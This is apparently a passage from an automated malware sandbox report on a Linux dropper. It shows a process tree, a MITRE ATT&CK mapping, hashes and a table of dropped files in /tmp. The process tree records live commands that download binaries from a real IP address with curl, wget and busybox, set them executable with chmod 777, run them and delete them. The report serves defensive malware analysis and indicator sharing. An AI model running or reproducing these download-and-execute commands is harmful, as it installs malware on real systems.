  curl -O http://216.126.231.240/bins/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  - Writes file to tmp directory
  PID:1650
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  PID:1651
- /bin/chmod
  chmod 777 X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  - File and Directory Permissions Modification
  PID:1652
- /tmp/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  ./X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  - Executes dropped EXE
  PID:1653
- /bin/rm
  rm X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  PID:1654
- /usr/bin/wget
  wget http://216.126.231.240/bins/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  PID:1655
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  - Writes file to tmp directory
  PID:1656
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  PID:1657
- /bin/chmod
  chmod 777 87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  - File and Directory Permissions Modification
  PID:1658
- /tmp/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  ./87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  - Executes dropped EXE
  PID:1659
- /bin/rm
  rm 87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  PID:1660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg

Path /tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg	1495	5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
/tmp/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo	1501	J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
/tmp/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy	1507	jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
/tmp/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9	1513	UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
/tmp/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1	1519	fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
/tmp/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS	1525	23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
/tmp/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w	1531	pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
/tmp/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb	1537	t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
/tmp/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu	1543	EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
/tmp/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv	1549	KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
/tmp/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk	1555	X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
/tmp/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn	1561	87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
/tmp/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH	1567	kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
/tmp/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB	1573	sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
/tmp/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy	1579	jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
/tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg	1585	5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
/tmp/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo	1591	J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
/tmp/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS	1599	23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
/tmp/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9	1605	UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
/tmp/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1	1611	fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
/tmp/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu	1617	EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
/tmp/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w	1623	pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
/tmp/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb	1629	t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
/tmp/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH	1635	kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
/tmp/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB	1641	sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
/tmp/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv	1647	KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
/tmp/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk	1653	X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
/tmp/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn	1659	87z03H0K607kZbb84F6UlIV3Fm0WCekgxn